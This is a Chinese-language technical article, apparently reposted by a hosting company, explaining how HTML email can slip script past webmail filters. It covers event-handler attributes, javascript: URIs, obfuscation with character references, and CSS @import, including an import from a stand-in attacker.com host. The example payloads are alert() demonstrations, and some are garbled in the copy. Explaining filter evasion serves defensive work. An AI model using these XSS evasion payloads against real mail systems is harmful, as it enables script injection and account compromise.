鑒于腳本程序可能帶來(lái)的危險(xiǎn),WebMail系統(tǒng)完全有必要禁止html郵件中的腳本程序。禁止腳本程序的基本做法就是過(guò)濾掉html源程序中能夠使腳本程序運(yùn)行的代碼,如script元素等,在這方面做的最好的莫過(guò)于hotmail了。下面是些常見的繞過(guò)腳本程序過(guò)濾的方法,不少的WebMail系統(tǒng)仍然沒有完全改正:
(1)在html語(yǔ)言里,除了script元素內(nèi)的或在script元素內(nèi)引入的腳本程序能在html頁(yè)面裝載時(shí)被運(yùn)行外,使用事件屬性也能調(diào)用腳本程序運(yùn)行,事件屬性在JavaScript語(yǔ)言里被稱為事件句柄,用于對(duì)頁(yè)面上的某個(gè)特定事件(如鼠標(biāo)點(diǎn)擊、表單提交)做出響應(yīng),驅(qū)動(dòng)javascript程序運(yùn)行。它的語(yǔ)法如下:
<tagattribute1attribute2onEventName="javascriptcode;">
例如:
以下為引用的內(nèi)容:
<bodyonload="alert('JavaScript#1isexecuted');">
<ahref="#"onclick="alert('JavaScript#2isexecuted');">Clickhere</a>
<formmethod="post"action="#"onsubmit="alert('JavaScript#3isexecuted');">
<inputtype="submit"value="Submit">
</form>
</body>
(2)URI(UniversalResourceIdentifier:通用資源標(biāo)識(shí))用于定位Internet上每種可用的資源,如HTML文檔、圖像、聲音等。瀏覽器根據(jù)URI的資源類型(URIscheme)調(diào)用相應(yīng)的程序操作該資源,如果把一些元素的URI屬性值的資源類型設(shè)為javascript,則能夠調(diào)用javascript程序運(yùn)行。語(yǔ)法如下,注意要用“;”分隔不同的javascript語(yǔ)句:
<tagattribute="javascript:javascript-code;">
例如:
以下為引用的內(nèi)容:
<bodybackground="javascript:alert('JavaScript#1isexecuted');">
<ahref="javascript:alert('JavaScript#2isexecuted');">Clickhere</a>
<formmethod="post"action="javascript:alert('JavaScript#3isexecuted');">
<inputtype="submit"value="Submit">
</form>
<imgsrc="javascript:alert('JavaScript#4isexecuted');">
</body>
(3)由于軟硬件或其他原因,一些冷僻或特殊的字符不能輸入或正確顯示在html頁(yè)面上,為了解決這個(gè)問(wèn)題,html中可以使用SGML字符參考。字符參考是一種用來(lái)指定文檔字符集中任何字符的獨(dú)立編碼機(jī)制,以“&”開始,以“;”結(jié)束。字符參考有兩種表達(dá)方式:數(shù)字字符參考和實(shí)體字符參考。數(shù)字字符參考的語(yǔ)法為“&#D;”(D代表一個(gè)十進(jìn)制數(shù)),或“&#xH;”、“&#XH;”(H代表一個(gè)十六進(jìn)制數(shù)),例如“A;”、“A;”表示字母“A”,“水;”、“水;”表示漢字“水”。
攻擊者把html語(yǔ)句里的一些字符以數(shù)字字符參考來(lái)代替,這樣能避開WebMail系統(tǒng)對(duì)腳本程序的過(guò)濾。需要注意的是,元素和屬性不可以用字符參考表示,例如:
以下為引用的內(nèi)容:
<body>
<imglowsrc="ja;vasC;ript:alert('JavaScript#1isexecuted')">
<ahref="j;avA;sC;ript:;aler;t('JavaScript#2
i;ܾxecuted')">Clickhere;</a>
<formmethod="post"action="javascript:alert('JavaScript#3is
executed')">
<inputtype="S;ubmit"value="Submit">
</form>
</body>
(4)樣式表是層疊樣式表單(CSS:CascadingStyleSheet)的簡(jiǎn)稱,用于控制、增強(qiáng)或統(tǒng)一網(wǎng)頁(yè)上的樣式(如字體、顏色等),它能夠?qū)邮叫畔⑴c網(wǎng)頁(yè)內(nèi)容相分離,在html語(yǔ)言的style標(biāo)簽內(nèi)可以用@import聲明輸入一個(gè)樣式表。但是,如果輸入的資源類型或內(nèi)容是javascript,InternetExplorer瀏覽器仍然會(huì)執(zhí)行。
以下為引用的內(nèi)容:
例如:<styletype="text/css">
<!--
@importurl(javascript:alert('JavaScript#1isexecuted'));
@importurl(http://www.attacker.com/js.css);
-->
</style>
其中http://www.attacker.com/js.css的內(nèi)容如下所示:
以下為引用的內(nèi)容:
@importurl(javascript:alert('JavaScript#2isexecuted'));
@importurl(javascript:eval(String.fromCharCode
(97,108,101,114,116,40,39,84,101,115,116,32,49,39,41,59,97,
108,101,114,116,40,39,84,101,115,116,32,50,39,41,59)));
能夠繞過(guò)WebMail系統(tǒng)對(duì)腳本程序過(guò)濾的方法遠(yuǎn)不止上面所說(shuō)的這些,例如曾有人發(fā)現(xiàn)把“<script>”標(biāo)簽改成“<_a<script>”和“<<script>”的樣子能繞過(guò)yahoo電郵的過(guò)濾,這個(gè)漏洞yahoo在最近才改正過(guò)來(lái)。 本文出自:億恩科技【mszdt.com】
服務(wù)器租用/服務(wù)器托管中國(guó)五強(qiáng)!虛擬主機(jī)域名注冊(cè)頂級(jí)提供商!15年品質(zhì)保障!--億恩科技[ENKJ.COM]
|